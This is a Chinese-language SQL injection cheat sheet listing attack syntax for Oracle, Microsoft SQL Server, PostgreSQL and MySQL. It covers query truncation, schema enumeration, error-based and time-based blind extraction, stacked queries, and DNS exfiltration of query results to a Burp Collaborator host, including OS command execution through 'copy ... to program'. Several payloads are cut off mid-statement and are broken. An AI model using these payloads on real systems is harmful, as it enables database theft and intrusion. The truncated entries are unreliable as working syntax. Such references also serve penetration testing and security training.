SQL注入速查表
这个SQL注入速查表包含了一些有用的语法例子,你可以用来执行SQL注入攻击时经常出现的各种任务。
字符串拼接
可以将多个字符串拼接在一起以组成一个字符串。
数据库类型
语句
Oracle
`'foo'
Microsoft
'foo'+'bar'
PostgreSQL
`'foo'
MySQL
'foo' 'bar'
CONCAT('foo','bar')
子字符串
可以从指定的偏移量中提取字符串的部分长度。请注意偏移量的索引是基于1的。以下每个表达式都会返回字符串 ba
。
数据库类型
语句
Oracle
SUBSTR('foobar', 4, 2)
Microsoft
SUBSTRING('foobar', 4, 2)
PostgreSQL
SUBSTRING('foobar', 4, 2)
MySQL
SUBSTRING('foobar', 4, 2)
注释
可以使用注释来截断一个查询,并删除输入之后的原始查询部分。
数据库类型
语句
Oracle
--comment
Microsoft
--comment
/*comment*/
PostgreSQL
--comment
/*comment*/
MySQL
#comment
-- comment
/*comment*/
数据库版本
可以查询数据库以确定其类型和版本。这些信息在制定更复杂的攻击时很有用。
数据库类型
语句
Oracle
SELECT banner FROM v$version
SELECT version FROM v$instance
Microsoft
SELECT @@version
PostgreSQL
SELECT version()
MySQL
SELECT @@version
数据库内容
可以列出数据库中存在的表,以及这些表包含的列。
数据库类型
语句
Oracle
SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
Microsoft
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
PostgreSQL
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MySQL
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
条件错误
可以测试单个布尔条件,如果条件为真则触发数据库错误。
数据库类型
语句
Oracle
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
Microsoft
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQL
1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)
MySQL
SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')
通过可见的错误信息提取数据
你可能会引发错误信息,从而泄露你的恶意查询返回的敏感数据。
数据库类型
语句
Microsoft
SELECT 'foo' WHERE 1 = (SELECT 'secret')
> Conversion failed when converting the varchar value 'secret' to data type int.
PostgreSQL
SELECT CAST((SELECT password FROM users LIMIT 1) AS int)
> invalid input syntax for integer: "secret"
MySQL
SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))
> XPATH syntax error: '\secret'
批处理(或堆叠)查询
可以使用批处理查询来连续执行多个查询。请注意,虽然后续查询被执行,但结果不会返回给应用程序。因此,这种技术主要用于与盲漏洞有关的情况,在这种情况下,你可以使用第二个查询来触发一个DNS查询、条件错误或时间延迟。
数据库类型
语句
Oracle
不支持批处理查询
Microsoft
QUERY-1-HERE; QUERY-2-HERE
PostgreSQL
QUERY-1-HERE; QUERY-2-HERE
MySQL
QUERY-1-HERE; QUERY-2-HERE
注意
对于MySQL,批处理查询通常不能用于SQL注入。然而,如果目标应用程序使用某些PHP或Python API与MySQL数据库通信,这有时是可能的。
时间延迟
可以在数据库处理查询时造成时间延迟。以下操作将造成10秒的无条件时间延迟。
数据库类型
语句
Oracle
dbms_pipe.receive_message(('a'),10)
Microsoft
WAITFOR DELAY '0:0:10'
PostgreSQL
SELECT pg_sleep(10)
MySQL
SELECT sleep(10)
有条件的时间延迟
可以测试一个布尔条件,如果条件为真就会触发一个时间延迟。
数据库类型
语句
Oracle
`SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'
Microsoft
IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
PostgreSQL
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQL
SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')
DNS查询
可以使数据库对外部域执行一个DNS查询。要做到这一点,需要使用Burp Collaborator生成一个独特的Burp Collaborator子域,你将在你的攻击中使用到,然后轮询Collaborator服务器以确认是否发生了DNS查询。
数据库类型
语句
Oracle
以下技术利用XML外部实体(XXE)漏洞来触发DNS查询。该漏洞已经打了补丁,但仍有许多未打补丁的Oracle存在:
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
以下技术在打过补丁的Oracle中有效,但需要提升权限:
SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
Microsoft
exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
PostgreSQL
copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
MySQL
以下技术仅在Windows系统中有效:
LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
带数据渗出的DNS查询
你可以使数据库对一个包含注入查询结果的外部域进行DNS查询。要做到这一点,需要使用Burp Collaborator生成一个独特的Burp Collaborator子域,你将在你的攻击中使用到,然后轮询Collaborator服务器以检索任何DNS交互的细节,包括被渗出的数据。
数据库类型
语句
Oracle
`SELECT EXTRACTVALUE(xmltype('<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'
Microsoft
declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')
PostgreSQL
create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
`c := 'copy (SELECT '''') to program ''nslookup '
MySQL
以下技术仅在Windows系统中有效:
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
Last updated